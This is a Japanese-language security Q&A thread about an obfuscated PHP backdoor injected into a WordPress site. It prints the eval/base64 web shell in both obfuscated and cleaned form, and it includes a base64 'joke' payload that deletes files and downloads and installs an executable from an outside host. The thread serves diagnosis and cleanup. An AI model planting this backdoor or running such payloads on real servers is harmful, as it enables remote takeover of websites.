web-dev-qa-db-ja.com

悪意のあるコードがPHPファイルに挿入されます

私のサイトはWordpressを使用して構築されています。ある日、動作が停止し、1つのPHPファイルにエラーが見つかりました。

そのPHPファイルをダウンロードして何が起こったのかを確認したところ、ウイルス対策(Microsoft Security Essentials)がそれを脅威として検出し、ダウンロードしたファイルを削除しました。

幸い、ホスティングのcPanelにアクセスして、問題のあるPHPファイルをそこから編集できます。

異常なコードがコードの先頭に追加されていることがわかりました。 (私はコードを削除し、今のところすべてが正常に動作しています)

これがコードです:

<?php $lro89 = "t_cepodas6b4";$gmat6 =strtolower( $lro89[10]. $lro89[7]. $lro89[8]. $lro89[3] . $lro89[9].$lro89[11].$lro89[1] . $lro89[6].$lro89[3]. $lro89[2].$lro89[5].$lro89[6].$lro89[3]);$scs1 =strtoupper ( $lro89[1]. $lro89[4]. $lro89[5].$lro89[8]. $lro89[0]); if (isset (${$scs1 }[ 'n3d9ebc' ])) {eval($gmat6( ${ $scs1} ['n3d9ebc' ])) ;}?>

読みやすくするために再フォーマット:

<?php
$lro89 = "t_cepodas6b4";
$gmat6 =strtolower( $lro89[10]. $lro89[7]. $lro89[8]. $lro89[3] . $lro89[9].$lro89[11].$lro89[1] . $lro89[6].$lro89[3]. $lro89[2].$lro89[5].$lro89[6].$lro89[3]);
$scs1 =strtoupper ( $lro89[1]. $lro89[4]. $lro89[5].$lro89[8]. $lro89[0]);
if (isset (${$scs1 }[ 'n3d9ebc' ])) {
    eval($gmat6( ${ $scs1} ['n3d9ebc' ])) ;
}
?>

私はいくつか質問があります:

  1. コードは何をしますか?
  2. ウイルスがあるということですか?
  3. この1つのファイルだけにどのように注入できますか?
5
topher

コードは何をしますか?

<?php
    if (isset($_POST['n3d9ebc'])) {
        eval(base64_decode($_POST['n3d9ebc']));
    }
?>

リモートでコードが実行されます。これが$_GET[]パラメータは、攻撃者がこれを行う可能性があることを意味します。

hxxp://yoursite.com/hax.php?n3d9ebc=base64-encoded-malicious-php-code

しかし、それは$_POST[]パラメータ。送信の一部として送信されます。 POSTパラメータ、n3d9ebcが設定されている場合、base64でデコードされた後、条件を評価しようとします。

ペイロードの例:

c2hlbGxfZXhlYygicm0gLXJmIH4vaGlsbGFyeS1lbWFpbHM7IHdnZXQgaHR0cHM6Ly93d3cucHV0aW4ucnUvZmFuY3ktYmVhci5leGUgLU8gYXB0MjguZXhlICYmIHN1ZG8gbXYgYXB0MjguZXhlIC91c3Ivc2JpbjsgZWNobyBTSFVUIFVQIFRISVMgSVMgQSBKT0tFIik7

上記は... um ... figure it out です。

サイトに投稿するだけで、Webサーバー上で完全なリモートコード実行が可能になります。あなたは本質的に捕らえられてきました。クリーンアップの時間です。脆弱なコンポーネントを確実にアップグレードしてください。

ウイルスがあるということですか?

技術的に?彼らはあなたのウェブサイトで好きなことをすることができます。基本的にはバックドアです。

この1つのファイルだけにどのように注入できますか?

おそらく、Webサーバー上のファイルへの書き込みを可能にする脆弱性があります。問題はいくつもあります。広義の種類ですが、chmod 777、リモートファイルインクルージョンの問題、またはその他のリモートコード実行のバックドアまたは脆弱性。

10
Mark Buffalo

あなたのWordpressが侵害されました。

コードは何をしますか?

やや難読化された最小限のWebシェルです。 POSTパラメータn3d9ebc、base64はそれをデコードし、結果をPHP codeとして実行します。これは、攻撃者がスクリプトを使用していつでもサーバー上で任意のコードを実行できることを意味します。

それがクリーンアップされたコードです:

<?php
if (isset($_POST['n3d9ebc'])) {
    eval(base64_decode($_POST['n3d9ebc']));
}
?>

変数名は、スクリプトを読みにくくし、自動検出を防ぐために難読化されました。 base64変換は、IDSを防ぐためのもう1つの手段です。 POSTパラメータであるため、攻撃者のコマンドはサーバーのログファイルにも表示されません。

ウイルスがあるということですか?

これは、誰かがあなたのWordpress(おそらく脆弱なプラグインを介して)への書き込みアクセス権を取得し、このスクリプトをバックドアとしてアップロードしたことを意味します。

この1つのファイルだけにどのように注入できますか?

まあ、どこかに置く必要があります。新しいファイルを作成するよりも目立たないため、攻撃者はしばしば既存のファイルに悪意のあるコードを追加することを決定します。

(私はコードを削除し、今のところすべてが正常に動作しています)

バックドアがなくなったことを確認できますか?妥協した場合、続行する最善の方法は新規インストールです。

7
Arminius